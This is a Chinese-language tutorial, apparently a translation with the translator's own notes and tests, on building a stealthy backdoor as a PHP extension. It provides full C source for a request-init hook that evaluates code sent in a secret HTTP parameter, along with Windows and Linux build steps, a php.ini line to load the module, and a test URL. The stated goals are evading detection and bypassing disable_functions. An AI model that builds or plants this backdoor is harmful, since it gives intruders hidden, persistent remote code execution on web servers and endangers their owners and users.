0x00 前言
今天我們將討論編寫基於PHP擴充庫的後門。通常來說,大部分入侵者都會在指令碼中留下自訂代碼塊後門。當然,這些東西很容易通過原始碼的靜態或動態分析找到。
利用PHP擴充庫的好處顯而易見:
1很難尋找 繞過disable_functions選項 有能力控制所有的代碼 存取碼執行的API
但是我們需要有編輯PHP設定檔的能力。
0x01 細節
//【譯者註:用linux兩條命令搞定了,何必windows費這麼大勁】
作為例子,我會用Windows來寫。寫擴充我用的Visual Studio 2012 Express版本。還需要的原始碼最新版本,編譯PHP庫(可從同一來源收集)。為簡單起見,我們需要是的php-5.5.15-Win32的 VC11-86和源PHP-5.5.15-src.zip
解壓使用C編譯PHP:PHP,原始碼在C:PHP-SRC。
然後,你需要進行一些設定。
1)添加前置處理器定義:
ZEND_DEBUG=0 ZTS=1 ZEND_WIN32 PHP_WIN32
前置處理器定義
2)添加的目錄,用於串連源:
C: PHP-SRCmain C: PHP-SRCend C: PHP-SRCTSRM C: PHP-SRC egex C: PHP-SRC
其他目錄串連
3)添加其他目錄中liboy php5ts.lib(C: PHP dev的)
其他目錄庫
4)添加串連庫php5ts.lib。
裝配額外的庫
5)指定收集檔案的路徑。
儲存設定檔
配置參數為Workspace擴充的開發後(詳情可以在http://blog.slickedit.com/2007/09/creating-a- php-5-extension-with-visual-c-2005/找到),建立一個新的項目類型後門“控制台應用程式的Win32”。
在Visual StudioVyberem型“庫DLL»項目”
選擇合適類型
然後,從項目中刪除不必要的檔案。應該只需要backdoor.cpp,STDAFX.CPP和stdafx.h中。
在標頭檔stdafx.h中
:
#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif
現在,我們直接進入PHP擴充的代碼。刪除所有行,並添加所需的檔案串連。
#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"
如果workspace設定已經正確,警告就會消失。
當模組被初始化時,會有幾個事件,其中每一個都在特定條件下發生。我們需要在查詢執行時,去執行我們的代碼。要做到這一點,你必須初始化我們所需要的功能,我給它命名為«hideme»。
PHP_RINIT_FUNCTION(hideme);
然後你可以去看模組的初始化。
zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);
在這篇文章中,我們只需要載入中代碼被執行即可,因此運行和卸載模組由空取代。
現在,你可以去看hideme的函數體。
PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // 超全域數組,從中我們採取perametr和價值 char* secret_string = "secret_string"; //參數,這將是啟動並執行代碼 //【譯者註:在原文作者的github代碼中method是get,secret_string是execute,請大家按照github代碼進行測試,不修改原文了】 zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { //尋找散列表中所需的參數 code = Z_STRVAL_PP(val); //值 zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //代碼執行 } } return SUCCESS; }
注釋應該比較清楚。最初,我們設定HTTP方法和參數secret_string。然後再尋找正確的數組參數,如果有的話,我們就從它的值中取指令,並通過zend_eval_string執行代碼。
編譯後的所得,即可作為一個擴充庫。
下載原始碼
https://github.com/akamajoris/php-extension-backdoor
0x02 測試
//以下為譯者測試截圖:
1http://127.0.0.1:1629/20140917/test.php?execute=phpinfo();
(因為原作者github代碼設定的是execute)
Linux編譯(kali)
1apt-get install php5-dev phpize && ./configure && make
在kali下測試一遍成功,我比較懶,直接chmod後把so複製到/var/www了哈哈
然後php.ini加上
1extension=/var/www/back.so
重啟apache,測試成功